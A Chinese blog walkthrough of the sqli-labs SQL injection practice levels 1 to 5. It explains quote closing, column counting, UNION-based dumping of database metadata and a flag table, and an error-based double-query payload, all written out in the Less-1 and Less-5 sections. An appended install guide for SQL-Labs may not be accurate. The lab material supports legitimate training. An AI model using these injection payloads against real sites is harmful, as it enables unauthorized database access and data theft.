sql-labs1


前言

在线靶机地址:https://buuoj.cn/challenges#sqli-labs

less-1

​ 首先说明sql注入的大致步骤:

  • 判断注入类型。如整型字符型注入等。
  • 判断列数
  • 判断数据的回显位
  • 构造sql语句

​ 根据题目提示,说明是一个单引号注入题目,构造一个带单引号的语句?id=1',发现数据库报错
在这里插入图片描述

​ 通过后面的报错语句1'' LIMIT 0,1的分析,我们的单引号被数据库解析,那么说明我们也可以使用连接查询union插入我们想要查询的语句。

​ 推出数据库的查询的部分语句可能为where id = '$id'LIMIT 0,1,那么通过构造闭合?id=1' [这里添加语句] --+添加自己想要语句,语句后面的--+作用是将后面的其他语句注释掉。

​ 首先是判断字段个数:?id=1' order by 1 --+,页面显示正常,直到尝试?id=1' order by 4 --+发现数据库报错

在这里插入图片描述

​ 说明数据库的字段值只有四个。

​ 接下来测试数据的回显位,构造语句?id=' union select 1,2,3 --+,这里需要注意的有,前面id的查询一定是要不存在的,因为数据库只会回显第一条查询的数据,如果第一条语句查询成功则后面union构造的语句就不会显示;union连接查询语句后面查询的字段数需要和前面的字段数相等,详细用法可以自行查询。

​ 执行后页面显示。

https://s1.ax1x.com/2020/11/04/BgZAeS.png
​ 说明查询语句的2,3是回显位,之后就可以将查询的语句进行替换。如:

​ 获取数据库版本,数据库路径,当前用户,当前数据库:
?id=' union select 1,concat_ws('_',user(),version(),database()),@@basedir --+

页面显示

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tM4lgQJK-1614514071048)(https://s1.ax1x.com/2020/11/04/BgZbfs.png)]

​ 利用元数据库来爆表、爆数据

?id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

​ 之后大家可以自行发挥。

flag的话我做的题是在ctftraining.flag表中,答案在:?id=' union select 1,flag,3 from ctftraining.flag --+

less-2

​ 第二题看题目名称intiger based知大意,是id的数据类型由字符型变成了数字类型,这次就不使用单引号直接构造语句,和第一题差不多。

less-3

​ 看标题Single quotes with twist,是在前面题的基础上加上了括号包裹,所以语句就成了where id = ('id')所以我们闭合的方式也要改变。附源码

在这里插入图片描述

less-4

​ 标题Double Quotes,说明是个引号注入,把前面题的单引号改成双引号构成闭合即可。

less-5

​ 标题Double Injection-Single Quotes,很明显提示是单引号,然后套用前面的方法, 发现这次题目变了,不管输入啥页面只显示一个You are in...........,但是数据库报错还是会显示,只要数据库错误还能显示,我们就可以是用一个新的技术把数据显示在错误信息上。

​ 双查询注入也是我第一次听,贴一个讲大致原理的帖子:点我

​ 构造语句:

?id=' union select 1,2,3 from (select 1,count(*),concat_ws('____________',floor(rand()*2),concat_ws('********',version(),database()))a from information_schema.tables group by a)b --+

​ 讲一下CONCAT_WS(separator,str1,str2,…)函数的用法:把str1str2连接起来,并使用separator做分隔符。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对于安装 SQL-Labs,您可以按照以下步骤进行操作: 1. 首先,您需要确保您的系统上已经安装了 LAMP 或者 WAMP 等 Web 服务器环境,以及 MySQL 数据库。 2. 下载 SQL-Labs 的源代码。您可以从 GitHub 上的项目页面(https://github.com/Audi-1/sqli-labs)下载最新的 ZIP 文件,并将其解压缩到您的 Web 服务器的文档根目录中。 3. 在 MySQL 数据库中创建一个新的数据库,用于存储 SQL-Labs 的数据。您可以使用以下命令在 MySQL 命令行中创建一个新数据库: ``` CREATE DATABASE sqli; ``` 4. 导入 SQL-Labs 的数据库结构。进入到您解压缩的 SQL-Labs 文件夹中,找到 `db-structure.sql` 文件,并使用以下命令导入数据库结构: ``` mysql -u your_username -p sqli < db-structure.sql ``` 替换 `your_username` 为您的 MySQL 用户名,并输入密码进行验证。 5. 配置 SQL-Labs。进入 SQL-Labs 文件夹中的 `db.php` 文件,按照注释中的提示修改数据库连接信息,包括主机名、用户名、密码和数据库名称。 ``` $host = 'localhost'; $user = 'your_username'; $password = 'your_password'; $db = 'sqli'; ``` 6. 启动 Web 服务器,并在浏览器中访问 SQL-Labs。在浏览器中输入 `http://localhost/sql-labs/`,您应该能够看到 SQL-Labs 的登录页面。 现在,您已经成功安装并配置了 SQL-Labs。请确保仔细阅读项目的文档,了解如何正确使用和利用 SQL-Labs 的功能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值